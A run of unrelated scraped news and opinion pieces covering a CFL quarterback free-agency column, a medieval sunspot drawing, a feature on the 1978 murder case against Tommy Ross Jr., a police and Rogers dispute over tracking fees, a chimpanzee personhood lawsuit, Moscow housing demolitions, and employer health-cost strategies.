I’ll finish right here with Drew Willy, who I believe is still considered a solid No. 2/fringe No. 1 option in the eyes of coaches and GMs. Willy looked better than any other Alouettes quarterback in 2017 and could end up back there as the Als look to develop youngsters Matt Shiltz and Antonio Pipkin.
Let’s say, for argument’s sake, the Alouettes end up with someone else at quarterback and Willy goes elsewhere. I think Edmonton is a good destination, where Willy’s skill-set should jive with Jason Maas and Carson Walch’s offence and he’d be a veteran backup to Mike Reilly (in the event that Franklin leaves).
Willy has been ‘thrown to the wolves’, so to speak, for two straight seasons on last-place teams. A team like Edmonton could rejuvenate his career.
Where He Should Go: Edmonton
Whatever does end up happening, I expect to see plenty of movement across the league in free agency — especially at the quarterback position.
Who do you see going where? Join the debate in the comments below or you can send me a tweet any time.
Below I’ve laid out one of many scenarios that could make sense:
My expected QB depth chart 2018
BC: Jonathon Jennings, Travis Lulay, Alex Ross, Mitchell Gale
EDM: Mike Reilly, Drew Willy, Danny O’Brien
CGY: Bo Levi Mitchell, Andrew Buckley, Ricky Stanzi
SSK: James Franklin, Kevin Glenn, Vernon Adams Jr., Marquise Williams, David Watford
WPG: Matt Nichols, Darian Durant, Dominique Davis
HAM: Jeremiah Masoli, Johnny Manziel, Dan LeFevour, Everett Golson
TOR: Ricky Ray, Zach Collaros, McLeod Bethel-Thompson, Dakota Prukop, Cody Fajardo
OTT: Trevor Harris, Drew Tate, Ryan Lindley
MTL: Brandon Bridge, Jeff Mathews, Matthew Shiltz, Antonio PipkinDespite a thousand years of sunspot sightings, no one thought to actually sketch what they saw until recently.
TECHNOLOGY THROUGH TIME ISSUE #35: FIRST SUNSPOT DRAWING
Sunspot drawing in the Chronicles of John of Worcester, twelfth century.
The earliest known drawing of sunspots appears in The Chronicle of John of Worcester and predates the invention of the telescope by almost 500 years. The sunspot was recorded in medieval England in 1182, according to astronomer F. Richard Stephenson at the University of Durham. While sunspots were recorded in China more than 1000 years earlier, no Chinese drawing depicting solar spots exists until about AD 1400, and no subsequent illustration of sunspots survived until after the invention of the telescope almost 200 years later. The Chronicle of John of Worcester covers the historical period from earliest times to AD 1140, and contains a number of records of celestial phenomena. These include aurorae, comets and meteor showers, as well as eclipses of the Sun and Moon.
One of the most interesting of these reports is a description of two sunspots seen on December 8, 1128 from Worcester, England. In the chronicle, the Latin text is accompanied by a colorful drawing that shows two large sunspots on the face of the Sun. The accompanying text translates to "...from morning to evening, appeared something like two black circles within the disk of the Sun, the one in the upper part being bigger, the other in the lower part smaller. As shown on the drawing." The fact that the Worcester monks could apparently distinguish the dark central umbrae and lighter penumbrae that surrounds the sunspots, suggests
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a few weeks after Bowcutt and Forbes were killed.
Extreme racism
McDonald was Ross’s half-brother and a cook at the hotel where Bowcutt worked — which might be the only loose link between Ross and any of the victims.
McDonald and another brother who lived in the area told police they thought their youngest half-brother, Ross, might have been involved in the murders.
He said Ross, originally from Pacoima, California, had stayed with him in Port Angeles from April 15 to 27 or 28. McDonald gave his brother bus money to leave Port Angeles. He saw him again in Victoria on May 12 when the three brothers were visiting a fourth brother, Raymon McDonald.
Ted McDonald said the brothers went clubbing and the last time he saw Ross was May 13, the day before Forbes’ death. He told police at the time that his younger brother “had a violent history and a hatred towards whites,” the report said.
Police discovered a warrant for Ross’s arrest in a rape and burglary in Los Angeles, though they did not say how. Ross was also a suspect in the 1977 murder of another young mother, strangled to death at home in a similar manner to Forbes and Bowcutt.
The Pine Hill Apartments at 615 W. 8th St. in Port Angeles, Washington, where Janet Bowcutt was killed on April 24, 1978. Tommy Ross Jr. is a suspect in her death.
A footnote in the crime report
On Nov. 8, 1977, Bethel Woolridge was murdered at her walk-up apartment at 12601 Pierce St. in Pacoima, one of the oldest neighbourhoods in Los Angeles.
Woolridge, 36, was a single mother raising four children between the ages of seven and 14. She was killed after her children went to school.
The Los Angeles Police Department said she was found “bound with her hands behind her back and strangled with an electric cord wrapped several times around her neck in the bathtub.” About the same time, a rape, burglary and attempted rape and burglary occurred in the same complex.
Ross had been seen in the area by other apartment dwellers and was considered a suspect.
Woolridge’s death was little more than a footnote in the Los Angeles Times crime report. What became of her children afterwards is not known.
According to the Victoria Times on June 8, 1978, Victoria police said the Ross investigation reopened several other murder cases in the U.S. The Ventura Police Department said there were several unsolved strangulations of young women in Santa Barbara, Ventura and Los Angeles. San Diego also had the March 14, 1978 strangulation death of a young woman.
By mid-June 1978, Ross’s photo was circulated from Sacramento to Port Angeles and Victoria. He was identified by witnesses in each area. On June 30, the FBI crime lab released a report identifying the middle-finger print on the inside of the doorknob at Janet Bowcutt’s apartment as belonging to Ross.
A warrant for Ross’s arrest was issued by Clallam County, and he was arrested by the Los Angeles Police Department on Dec. 22, 1978, at Community Hospital in North Hollywood.
How Ross, a suspect in murders in two states as well as rape and robbery was sent to Canada to face a murder charge is a bit of mystery — especially since some of the country’s most notorious serial killers were operating in California and Washington at the time.
The Hillside Strangler murders, committed by cousins Kenneth Bianchi and Angelo Buono, saw girls and women from Los Angeles to Bellingham kidnapped, raped and strangled from 1977 to 1979.
Rodney Alcala, also known as the Dating Game Killer because he had been a contestant on the TV show, was also an active serial killer and was in both California and Washington state. He photographed and strangled his victims, young women and men. He was arrested in 1979.
“Something just doesn’t add up there,” said Raymon McDonald, Ross’s elder brother. “If Tommy was a serial killer, why did they let him walk out?”
McDonald has maintained his brother’s innocence for nearly 40 years and believes he was used as a scapegoat for investigators who fabricated evidence.
“I have a lot of questions, loads of questions about what went down,” said McDonald, a high school counsellor in Nanaimo, who has spoken about his brother’s case and incarceration as a learning tool about the judicial system and racism.
“When I watched the trial I was convinced he would be released. No eyewitness could clearly identify him. My brother and I look nothing alike and when I walked into the courthouse some [people] thought I was the person [on trial],” McDonald said. “Tommy came back to Canada voluntarily because he hadn’t done anything wrong.”
Tommy Ross Jr.
Tommy Ross Jr. grew up in Los Angeles at a time that was not easy for young black men.
The 1960s saw the signing of the controversial Civil Rights Act, prohibiting discrimination based on race and gender, as well as the rise of the Black Panthers and the Watts riots, which were sparked by racial tension over a lack of access to housing and jobs as well as allegations of police brutality.
“It was terrible. Much worse than it is now,” said Raymon McDonald. “I made up my mind around 14 or 15 years old, I did not want my future children to grow up there. That’s why I moved to Canada.”
Ross, born in 1958, is the youngest stepbrother in a large family. He told the parole board this year that he was raised in a stable, pro-social family and that his mother taught good values.
But Ross also said he was subject to extreme racism when he was young. He had a learning disability, later diagnosed as dyslexia, that prevented him from reading and writing so he skipped school at a young age. The parole board described his childhood as chaotic and him getting involved in the judicial system before he was 10 years old.
“You said you grew up during segregation and gave examples of a relative being hanged by a mob, black children having to swim in ditches while white children had a swimming pool and not being allowed to use change rooms in clothing stores. You told the board you developed a sense of anger,” said the parole board in its decision.
“You got involved in criminal activity when you were young and committed property and violent offences. You have also admitted being involved in gambling, drugs and living off the avails of prostitution. According to file information, violent offenses included robbery, shooting a person with a pellet gun and stabbing another resident at a youth correctional facility.”
Ross told the parole board he stabbed a white inmate in 1975 in retaliation for the stabbing of a black inmate.
Ross said he was in Port Angeles and Victoria at the time of the murders in 1978, “but adamantly denied killing either victim.” He said he stopped in Port Angeles to see a brother and came to Victoria for the weekend to see another. According to police at the time, Ross was a frequent visitor to both places.
He came to Victoria on the Coho ferry in early May and stayed with McDonald, a block from Forbes’ home on Queens Avenue.
Ross was spotted by two women in the area the day Forbes died. The first lived in a building near McDonald, but didn’t know him or Ross. She said a man she later identified as Ross came to her Queens Avenue apartment about 11:30 a.m. wearing a dark, long leather coat and black hat.
The man asked about places to stay in town. They spoke for a few minutes in the doorway and he left, but returned 15 or 20 minutes later and asked the same questions. The woman told him he’d already been there and he said he forgot. A newspaper article said, “Her strongest impression of his demeanour was one of tension, from his stance and stiff arms and the redundant conversation.”
When she was asked about identifying Ross from a police sketch, “she said she couldn’t remember if the sketch was similar to the facial features of the man at the door, but the obvious similarities were that both were black and wore caps, and the appearance agreed with her recollection,” the Daily Colonist reported in June 1979.
Another woman, who was dating Ross’s brother from Bellingham, told the court she saw Ross about 2:35 p.m. that day walking to McDonald’s apartment from the opposite direction of Forbes’ apartment. She said he was wearing a long, dark jacket and tuque but seemed normal and relaxed. He went to grab his clothes and she gave the brothers a ride to the Swartz Bay ferry terminal.
The woman said she was questioned by Victoria detectives for nine hours and felt pressured to say she saw Ross coming from a different direction. She told the court she alerted police to another black man called Tommy Cheek hanging around her work a few days later.
“He seemed to know me. It bothered me,” she said. Police did not say if the man was a suspect but coincidentally he was the first pick from a photo montage shown to at least one of the witnesses at Forbes’ apartment.
“He lived in the area and he looked a lot more like the composite drawing,” said McDonald, who knew Cheek. “All of a sudden this all happens and he’s gone, never to be seen again.”
McDonald said at that time there were very few people of colour in Victoria, but racism and ignorance were evident.
“People might cross the road if they saw you or lock their car door,” he said. He formed a group called People Against Racism and Discrimination. “We held forums and stuff to make people more aware.”
Wanted man
It’s not clear how police in Victoria, Port Angeles and Los Angeles were turned on to Ross as the primary suspect in three murders. The tip from Ross’s brother in Port Angeles is the first reference to a connection.
According to 2016 Port Angeles certification for probable cause, just after Forbes’ death the police noted key similarities between the murders: All three victims were single, white mothers with no men living with them. They were killed at home with a similar signature method — strangled, gagged and bound around the neck several times and tied from neck to ankle. None were sexually assaulted. And all were clothed but not wearing bras.
On May 25, 1978, nearly two weeks after Forbes was killed, Victoria police released a composite sketch of their suspect. They did not release a name but said the suspect could be connected to the Port Angeles murder and one in San Diego.
By June 1, Ross’s fingerprints and mugshots were sent from Los Angeles to Port Angeles and Victoria. His fingerprints were also sent to the FBI crime lab. Ross was identified by Meszaros in Port Angeles and later by his fingerprints on the doorknob.
On June 8, Victoria police released Ross’s name and announced they were part of an international task force looking for the 19-year-old. He was described as “extremely dangerous” and “probably armed with a knife” said a story in the Times.
Port Angeles police said at the time Ross was one of several suspects and issued a warrant for his arrest. California police said they were investigating several unsolved stranglings of young women.
By July 8, Ross was the prime suspect with charges pending in the first-degree murder of Forbes. His photo was released, and it was reported he had last been seen in Bellingham around May 26.
“I certainly remember that case. It was a big case,” said Fred Mills, a retired Victoria police detective. He said there was a sense of fear in the city with a killer at large. “We threw an awful lot of resources at it, trips to Port Angeles to compare notes. It was high profile. You have to get a break somewhere along the way and we did.”
On Dec. 22, Ross was tracked down at the Community Hospital in North Hollywood and arrested by Los Angeles police. He denied being in Port Angeles at all that spring.
According to an article in the Colonist on Dec. 24, 1978: “Victoria police said arrangements were being made through the B.C. attorney general to begin extradition proceedings in California but Ross was wanted for murders in San Diego, California, and Port Angeles, Washington, and it was expected those charges would have priority over foreign ones.”
So how did Ross, wanted for two U.S. murders, a possible suspect in others amidst a rash of young women being mysteriously strangled to death, end up facing charges in Canada?
Apparently, he volunteered.
According to a Jan. 14, 1979 article in the Colonist, Ross waived extradition proceedings and voluntarily came to Canada to face charges, accompanied by two Victoria detectives — including Doug Richardson, who later became chief of police.
Both Clallam County and Los Angeles waived their charges in favour of Ross going to Canada.
At the time, California had reinstated the death penalty for murder.
McDonald said his brother came back to Victoria because he was innocent.
“He voluntarily came because he didn’t do anything,” said McDonald. “Why would they release him if he was seriously a suspect?”
On Jan. 15, 1979, Ross was formally charged with murdering Forbes.
Tommy Ross Jr., right, sits with attorneys Harry Gasnick, left, and John Hayden during RossÕs first appearance in Clallam County Superior Court in November, in connection with the 1978 murder of Janet Bowcutt. Photo by Keith Thorpe, Peninsula Daily News
The trial
The murder trial of Tommy Ross Jr. began on June 19, 1979, with a packed courtroom, tight security and a jury made up of seven men and five women. The trial centred largely on circumstantial evidence, a controversial fingerprint on a teapot and the rare allowance of evidence from the Bowcutt killing. There were no clear motives and no eyewitnesses to the crime.
“For me, it was just another murder trial to cover. But what stood out was the moving fingerprint,” said Roger Stonebanks, a reporter for the Victoria Times at the time. “I don’t think I’d even heard of that before or since. The prosecutor poured a lot of cold water on that one.”
On the second day of the trial, Ross’s lawyer Doug Christie argued the fingerprint found at Forbes’ apartment was planted there after Forbes was killed — likely by police. Christie, then in his early 30s, would go on to defend high-profile clients — including a Holocaust denier and former Nazi prison guard.
The green glass teapot, used by Forbes to keep loose change, was not discovered by detectives until nearly a month after she was killed. Sgt. Patrick Braiden, who was then head of the identification section, told the court he did not see the teapot with Ross’s fingerprint until his fourth visit to the crime scene, on June 10.
Another officer alerted him to the teapot, which was sitting on top of a dresser in the bedroom. Braiden said he likely did not see the teapot because it might have been covered by a scarf.
He testified he picked up a child’s belt next to the teapot on his first visit to the apartment the day Forbes died. He didn’t photograph the dresser that day because some things had been moved, he said. The clear right thumbprint and partial palm and fingerprint on the teapot were the only prints found in the apartment, which Braiden said was normal for a crime scene.
When Christie asked Braiden if a print could be transferred with Scotch tape, he said it could, but would not remain as clear as the one on the teapot. Cross-examined again the following week, Braiden said eight clear fingerprint points eliminated it as a forgery, which is why he did not have it further analyzed.
“I say positively that there was no adhesive on that handle,” Braiden told the court, and said comparing the thumbprint to Ross’s on file, “it is one and the same, made by the same person.”
Christie suggested the fingerprint evidence was part of an international conspiracy and that Victoria police might have obtained Ross’s print on a visit to a former residence in Washington.
He argued the fingerprint was the only evidence that tied Ross to the Bowcutt murder in Port Angeles, which led to the judge to allow the similar case to be considered in the Forbes trial. Witnesses from Port Angeles and evidence were presented at the Victoria trial despite the fact the original warrant was waived, no charges were laid and Ross had never been tried for the Port Angeles crime.
According to a story in the Colonist on July 6, Justice Alan McFarlane told the jury to conclude Ross was guilty of the Bowcutt murder and then consider the similarities with Forbes’ death.
“You will be asked to conclude that it was the same man in both cases and that the accused was that man,” McFarlane said. “Circumstantial evidence must not be consistent with guilt but inconsistent with any other conclusion.”
Christie said the evidence from the Port Angeles case, “if it had stood alone, would not have properly hung a dog, but is introduced here to hang a man on another matter.”
On July 13, 1979, the jury found Ross guilty of first-degree murder after five hours of deliberations. He was given a mandatory sentence of life in prison with no chance of parole for 25 years. The judge asked if he wanted to say anything, and Ross declared he was innocent.
“I have been found guilty of something I did not do … It was the same of Jesus Christ, he was accused of something he didn’t do. Something was passed on to him,” Ross told the court.
“I don’t know when, maybe tomorrow, maybe next week or next year, it will come out who did it … Nothing stays in the dark forever … No matter what nobody says, I am innocent. Thank you.”
Locked up
After losing two appeals, Ross served 37 years in federal prisons before being granted full parole and deported on Nov. 10. He was not an ideal prisoner, according to the parole board, but expressed concerns about his trial and treatment while incarcerated.
“Your institutional behaviour has historically been poor, although it has improved in recent years,” said the parole board in its decision.
Ross spent several of his early years incarcerated in maximum security with stints in segregation and special-handling units. In the late 1980s, he was awarded a monetary settlement by a human rights tribunal for mistreatment by Corrections Service of Canada staff.
In 1988, Port Angeles police and a Clallam County prosecutor visited Ross in a Saskatoon prison. According to a certificate for probable cause issued to arrest Ross after his parole, he admitted in an interview that he killed Bowcutt, as well as two women in Anaheim and one in Los Angeles.
He refused to give any further details unless the men could guarantee he would get the death penalty.
“Ross showed no remorse for the killings and stated that if he had to do things in his life over again, he’d do everything the same way,” said the order.
In 1995, Ross tried to get access to his trial files, but was initially denied by Victoria police and then by B.C.’s information and privacy commissioner.
The Times Colonist reported that Ross told then-commissioner David Flaherty he wanted witness statements and mugshots, “at that kangaroo trial they gave me. I’m asking for the statements [witnesses] gave to the police … I’m also asking for notes by police on this 1978 murder. That’s what I want, point blank.”
He also said the thumbprint “was planted in that damn apartment.”
At the time, now-deputy police chief Steve Ing argued successfully that Ross should be denied the information because he was a safety risk and could harm legal proceedings. It is not clear what those proceedings were.
Ten years later, Ross was convicted of aggravated assault in prison for stabbing another inmate with a homemade weapon in 2003. In 2013, Ross was convicted of assault with a weapon after swinging a crutch at a correctional officer.
Ross was denied parole in 2007, 2011 and 2014.
The parole decisions listed examples of volatile behaviour by Ross, including violent outbursts and locking himself in his cell with a razor blade to his neck. On one occasion this year, Ross became so upset at being told to submit a request in writing (he is functionally illiterate) he kicked and smashed a glass door, then said he didn’t mean to.
When he was told he was going to be sent to segregation, Ross took a razor blade from his pocket and slashed his neck several times. He was flown to hospital and spent the rest of his sentence at the Pacific Institute Correctional Centre in Abbotsford, which has mental-health services for prisoners.
He told the parole board the first time he assaulted another prisoner was to avoid being raped, but he was the one who ended up in segregation.
“You said you had learned to be pre-emptively violent to survive and you adopted an attitude that condoned the use of violence,” the board stated. Ross made progress in recent years, acknowledged the parole board. He completed two programs for violent offenders, including some written work, held various jobs at the institution and intervened to protect vulnerable inmates.
However, Ross’s case-management team did not support full parole and said his progress was too recent to mitigate risk.
His parole officer described Ross’s behaviour as “demanding, angry, manipulative and entitled,” but said he had the ability to calm himself down.
Ross has also maintained a positive relationship with his family, including visits, throughout his incarceration.
“We’ve always believed in him,” said his brother Raymon McDonald, noting his 84-year-old mother in Sacramento sent birthday cards and letters and hopes to one day have Ross back home.
McDonald said years of imprisonment for something he didn’t do has worn his brother down.
“He’s dealing with it the best he can,” McDonald said. “I think the parole board listened to his concerns well.”
McDonald said his brother’s bid for parole was likely helped by a presentation from Michael Jackson, a law professor and advocate for prisoner’s rights from Vancouver.
Jackson detailed several concerns with Ross’s case, including what he believed was inherent racism in Victoria in the 1970s and a wrongful conviction. Ross’s counsellor also said racism was “a real presence” in those days in the prison system, and some inmates were treated horrifically.
The parole board said it found Ross’s case to be difficult and highly unusual, requiring non-traditional analysis. It said it must recognize the contextual factors relating to racism and an alleged faulty police investigation.
“There is reliable and persuasive information that you have been subjected to racism before and during your sentence,” the board told Ross. It also said it agreed that there were “serious concerns with respect to the integrity of the police investigation.”
In awarding Ross full parole, the board noted it did not consider him being a person of interest in the U.S., but made the deportation order as part of the parole plan.
If Ross wants to return to Canada, his parole conditions require him to notify Corrections, enroll in mental-health counselling, take medication and reside at an approved residence.
McDonald said he had offered to have his brother live with him in Nanaimo if he wasn’t deported. If Ross is released in the U.S., he told the parole board, he’d like to live with his mother and would be eligible for social assistance because of his learning disability.
He also has a girlfriend who supports him.
“He can’t read or write, but he’s one of the smartest people I’ve met,” said McDonald. “He understands a lot of things about life.”
The next chapter
Since he was deported and arrested in the Bowcutt murder, Ross has been in jail in Port Angeles. His bail was set at $1.5 million and he was formally charged with killing Bowcutt on Dec. 2.
He appeared in court shackled at the wrists and waist, with one public defender bowing out because of a conflict of interest with a potential witness and another stepping in a week later.
Clallam County brought former elected prosecuting attorney Deborah Kelly back from retirement to handle the case because of her history with complex homicide cases such as the one involving Darold Ray Stenson.
Stenson was convicted of killing his wife and business partner in 1994 and sentenced to death. Just eight days before Stenson was scheduled to die, his execution was stayed and the verdict overturned, and he was awarded a new trial. In 2013, he was again found guilty and sentenced to two life terms.
Kelly is being assisted by Clallam County deputy prosecutor John Troberg, who travelled to Canada for Ross’s release and has been working with Los Angeles detectives still interested in Ross as a suspect in the killing of Bethel Woolridge.
“This is still an open investigation,” said Det. Kenneth White of the Los Angeles Police Department unsolved homicide unit. “We’re very interested in speaking to Mr. Ross.”
White could not say if they had forensic evidence linking Ross to Woolridge’s death or if any of her children or family are around, waiting to find out who brutally killed their mother 39 years ago.
In Port Angeles, prosecutor Kelly said the expectations of juries are different today than they might have been in 1978.
“Forensic shows like CSI definitely raise expectations for evidence,” said Kelly, who is expected to introduce DNA evidence for the first time in the murders, using nail clippings. “It’s also possible tests run then are not done to protocols today,” she said.
Victoria Police Det. Keith Lindner said that while murder investigations are much different now than in the 1970s, due to changing technology and legal thresholds, fingerprint evidence is much the same.
“The basic concept is the same,” said Lindner, adding pattern and points are still used to analyze prints. “Now we use scanners instead of ink pads,” and prints can be stored and searched electronically instead of on index cards.
Kelly said more investigation is needed, but the Bowcutt murder is still a viable case, although there are unique challenges with a case nearly 40 years old.
“Some of the people who gave statements then are deceased,” she said.
Lane Wolfley, Ross’s court-appointed lawyer who specializes in personal-injury law but also does criminal defence, said some witnesses will still be available.
“I recognized a few names on the list as people around town,” he said.
“He’s adamant he’s innocent,” Wolfley said. “We’re gearing up for a trial.”
The trial of Tommy Ross Jr. for the murder of Janet Bowcutt in 1978 is expected to begin on Jan. 30.
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Janice Forbes' death certificate.The RCMP and many other police forces are refusing to pay new fees imposed by Rogers Communications for helping track suspects through their mobile phones.
Police say the telecommunications firm is legally obligated to provide such court-ordered services and to cover the cost as part of its duty to society.
Rogers says while it picks up the tab for most judicially approved requests, in some cases it will charge a minimal fee.
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The quietly simmering dispute underscores long-standing tensions over who should pay when police call on telephone and Internet providers to help investigate cases.
It began late last May, when Rogers wrote to RCMP divisions and other police services across Canada to say it would usher in new fees to law enforcement on Aug. 1. The fees applied to help in executing warrants for tracking customers' movements through cellphone data, and for production of affidavits certifying records in cases where testimony is required to explain the records in court.
RCMP officials responsible for covert operations told their superiors in a June briefing note there was no legal basis for the planned fees and that Rogers could be charged under the Criminal Code for failing to comply with a court order if it refused to provide the services unless compensated.
The note, obtained by The Canadian Press under the Access to Information Act, points to a 2008 Supreme Court of Canada decision in which the judges said companies would generally be expected to comply with court orders on their own dime unless costs became unreasonable.
In the case at hand, the court said it was not unreasonable for Tele-Mobile Co. to pay annual costs of between $400,000 and $800,000 to comply with production orders.
The RCMP note suggested that the Canadian Association of Chiefs of Police be asked to issue a collective response to Rogers that "police will not be paying the fees requested."
The association's board was briefed in late June, and early the next month the chiefs recommended to police services that they not sign "acknowledgment of fees" notices distributed by Rogers.
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"It is the [association's] view that police services throughout Canada should not be required to bear the costs associated with court-ordered activities," the recommendation said. "The demand for these services will only increase as electronic crimes committed over mobile services continues to grow."
The chiefs interpret the Supreme Court decision as requiring Rogers to "bear the reasonable burdens of compliance with such orders as part of its general corporate responsibility to the community," said Tim Smith, a spokesman for the association.
Rogers spokesman Kevin Spafford said the company dropped the demand for fees related to affidavits prior to the Aug. 1 changes.
However, where possible Rogers does recover costs for location tracking of mobile devices, Spafford said.
"For most court-ordered requests for information, we assume all costs associated with providing a response," he said. "In some cases we charge a minimal fee to recover our costs based on the work required to comply with requests."
It was up to individual police services to decide whether to sign the Rogers agreements, Smith said.
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However, the association understands that "a vast majority" heeded the recommendation and are not paying the fees, he added.
Smith stressed that – the current disagreement notwithstanding – police services across Canada "enjoy a positive business relationship" with Rogers.
Sergeant Greg Cox, an RCMP spokesman, also said there had been "no substantive change" in the force's dealings with Rogers or other telecommunications firms.
Rogers, the RCMP and the chiefs' association all refused to say how much money the company is requesting under the new fee structure.
Although they have concerns about the new Rogers fees, the Mounties did pay more than $2-million to telecom firms in 2012-13 in connection with customer information and intercept-related activities, the force says.
"The RCMP is working with all major telcos to determine sustainability of the current situation and associated costs," Cox said.Chimpanzees aren't humans, but are they similar enough to humans that they should be given some of the same legal rights as us? That's essentially the question before a New York court in a thought-provoking case that raises legal, scientific and philosophical issues.
An animal rights group called the Nonhuman Rights Project is trying to free a captive chimpanzee named Tommy using a novel and historic legal argument.
Steven Wise, lawyer and president of the Nonhuman Rights Project, argues on behalf of Tommy, a chimpanzee, before the New York Supreme Court Appellate Division on Oct. 8, 2014, in Albany, N.Y. (Mike Groll/Associated Press) For the first time in a U.S. court it was argued that a non-human animal should be recognized as a legal person. The group maintains that chimpanzees shouldn't be thought of as "things" that can be owned but as "persons" who therefore have fundamental rights — namely, the right to liberty.
The group wants Tommy declared a legal person so it can get what's called a writ of habeas corpus, which would then allow the courts to determine if a person's detention is lawful.
In other words, if Tommy were considered a person his owners would have a hard time justifying his captivity, but as long as he's a "thing," it's fine to keep him locked up. His owners say, in fact, that according to the law he has to be fenced in and is not allowed to roam around their property.
"Sometimes people think we're trying to get human rights for chimpanzees. We're not. We're trying to get chimpanzee rights for chimpanzees," Steven Wise, the group's president and an animal protection lawyer, said in an interview.
A moral and legal wrong, group argues
To get a judge to free Tommy from his cage on a private property in Gloversville, N.Y., Wise and his team argue that chimpanzees are self-determining, autonomous beings with complex cognitive abilities — just like humans. Scientific research shows they make choices, display emotions, communicate, have memory, learn, and suffer from not being able to move about freely, according to legal documents in the case.
These characteristics are sufficient evidence to recognize chimpanzees as persons and therefore declare their confinement unlawful, the group argues. It has also filed two other lawsuits on behalf of three other chimpanzees in New York State.
the New York Times Magazine profiled the Tommy lawsuit in April 2014. The case has generated a lot of media attention since it started almost one year ago. (Alex Prager for New York Times) "We think that we're looking at an egregious moral wrong, and that ought to be a legal wrong as well, and these animals should not be able to live in this way," said Wise. "It's a terrible thing. It's like putting a human being in solitary confinement for its entire life."
Wise wants Tommy sent to a sanctuary in Florida and said he's twice offered to drop the lawsuit against the chimp's owners, Patrick and Diane Lavery, if they would agree to let him go. They haven't agreed.
"He's doing well," Lavery said in a brief phone call with CBC News. She said they've had Tommy for about 10 years and got him from someone who could no longer care for him.
Lavery said they are animal lovers and take good care of Tommy. They also have 15 reindeer and other animals, she said. Lavery described the lawsuit as "ridiculous," and said, "It wouldn't be fair to Tommy or to us," if he were taken away.
His cage measures about six metres by 20 metres and it's enough room for him, Lavery said.
Wise, of course, disagrees when it comes to Tommy's living conditions. He visited the property last year. The owners were not home at the time, but someone who was there let him into the large warehouse-type structure that houses Tommy's cage.
"There was Tommy, his face pressed against the cage, watching us … he didn't move. He just looked at us. He did not look like a happy chimpanzee," said Wise. The building was too dark to see into Tommy's cage, Wise said, adding that a small TV sat outside of it facing the animal.
Case about liberty, not about animal welfare
This case isn't about how Tommy lives, however, and that's why the Nonhuman Rights Project isn't using existing animal welfare laws to try to free him. The group's point is that Tommy shouldn't be locked up in the first place.
Imagine you are kidnapped, Wise said, and you are kept in a 100-room mansion. It doesn't matter where you're being held or how well you're treated, you're still being held against your will. You have a right to be free — and so does Tommy, Wise said.
The lawsuit filed last December was rejected by a lower court, but it was appealed to a higher appellate court and a hearing was held in October. The decision could come any day.
If Wise wins, the implications will depend on how broadly the court writes its decision. Tommy most certainly would be freed and the decision would likely apply to any other chimpanzees in the state.
Beyond that the court could rule other non-human animals could be considered persons if, like chimpanzees, they are thought to be autonomous beings.
The Nonhuman Rights Project believes elephants and dolphins could also meet the test, based on the scientific evidence that is known about them. But this case won't open the floodgates and lead to all animals being treated as legal persons, Wise suggested, because as far as he knows there isn't scientific evidence to show that chickens, for example, are autonomous beings like chimpanzees.
The Nonhuman Rights Project for now is only focusing on certain animals and is preparing another lawsuit on behalf of an elephant.
Wise acknowledged that some in the legal field aren't behind him, but he said they likely haven't read through the case in detail. Autonomy is highly valued in the legal system, he said, and that's what his group is counting on for an eventual victory.Moscow is enduring one of its periodic urban convulsions: plumes of dust fill the air, cranes proliferate across the skyline and the streets are soundtracked by pneumatic drills. In the city centre, new parks, infrastructure and freshly decorated historical monuments are the most visible signs of renewal. But there is another, less visible reconstruction programme going on – and one that is startling in its scale.
In June this year, the Moscow Duma unanimously approved the demolition of more than 4,000 apartment blocks in various sites across the sprawling city, home to nearly 2 million people. Most of this housing is privately owned, the consequence of the privatisation of state housing after the collapse of the Soviet Union. It has been a highly controversial decision, bringing thousands of Muscovites into the streets in protest.
The prototype
Yulia Fedosova and her son, Maxim, live in a typical five-storey concrete-panel apartment block. Known as a Khrushchevka, after the Soviet leader who orchestrated the industrialisation of house-building, Nikita Khrushchev, it first appeared in 1956 in an experimental housing estate in south-west Moscow that was quickly heralded as the solution to the postwar housing crisis. Factories were built, workers retrained, and by the mid-60s this modest, prefabricated style of apartment block had sprung up like clusters of mushrooms everywhere from Minsk to Vladivostok.
Moscow's big move: is this the biggest urban demolition project ever? Read more
The Fedosovas’ estate is well-connected to the city centre. Essential services – kindergarten, schools, a health centre, transport links – are easily accessible on foot, and their flat looks down on to apple trees, flowers and a children’s play park. It is tranquil, the air is fresh and the development is planned at a human scale. Both Fedosova and her father grew up there; several generations of her family live in nearby flats.
Under the June law, if two-thirds of residents in a block vote yes to the so-called “renovation programme”, the block will be demolished. Fedosova voted no: for her, the demolitions won’t just destroy buildings, but also a sense of history, home and belonging.
Empty 1960s Khrushchevka flats in the Butirsky district
Enough yes votes were cast, however, to slate the building for demolition. Once she receives the official notice, Fedosova will be required to leave her home in 90 days, or face forced eviction. She will be given no option of where to live, likely moved to a newly built tower block. The authorities have promised that residents will be rehoused in the same district, but many fear their longstanding networks of families and friends won’t survive the move
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answer: "One bite at a time." The saying also applies to managing and improving the health of an employee population.
As healthcare costs continue to rise, employers -- especially those offering self-funded plans -- are examining their role and the extent of their involvement in the health of individuals within their company. It's widely known that improved health outcomes ultimately lead to decreased medical costs, and everyone agrees more can be done to move the needle. But the question I hear most from employers is, "How can I actually accomplish this?"
Access to data is just one important element of the equation. Data is only good if it's used to identify risk and manage and measure initiatives meant to improve the health of a defined population, down to the individual person level.
Drilling down and focusing on the individual is critical. While each organization is unique, when taking steps to improve employee health the following three strategies are consistently successful.
1. Focus on the 10%
Typically, between 5% and 10% of any given population spends 70% to 80% of healthcare dollars. Often, one or more chronic diseases affect this segment, putting them at high risk for developing other conditions, increasing the likelihood they're seeing multiple doctors and taking (or perhaps not taking) prescribed medications.
[Should cost reduction be your primary goal? See IT-Enhanced Care Coordination Really Works.]
Many corporate wellness programs focus on an entire employee population, and the people who participate are not the ones responsible for spending most of the company's healthcare dollars. Employers expect big results by engaging all, but identifying and supporting the high-risk, high-cost group of employees is most imperative and will reap the biggest returns. Using analytics technology that focuses on multiple risk factors including behaviors, you can identify the group currently spending the most dollars, as well as the individuals predicted to become high risk and high cost. Simply looking at financial characteristics will not be enough.
2. Designate a liaison
Nurse navigators can serve as single points of contact to guide the health needs of employees and their families. Dedicated to assisting individuals in understanding the intricacies of their healthcare-related needs, establishing an onsite nursing contact allows for the creation of a trusted relationship. Navigators increase engagement because they coach and counsel, having true-to-life conversations tailoring everything they do for each individual to meet specific needs.
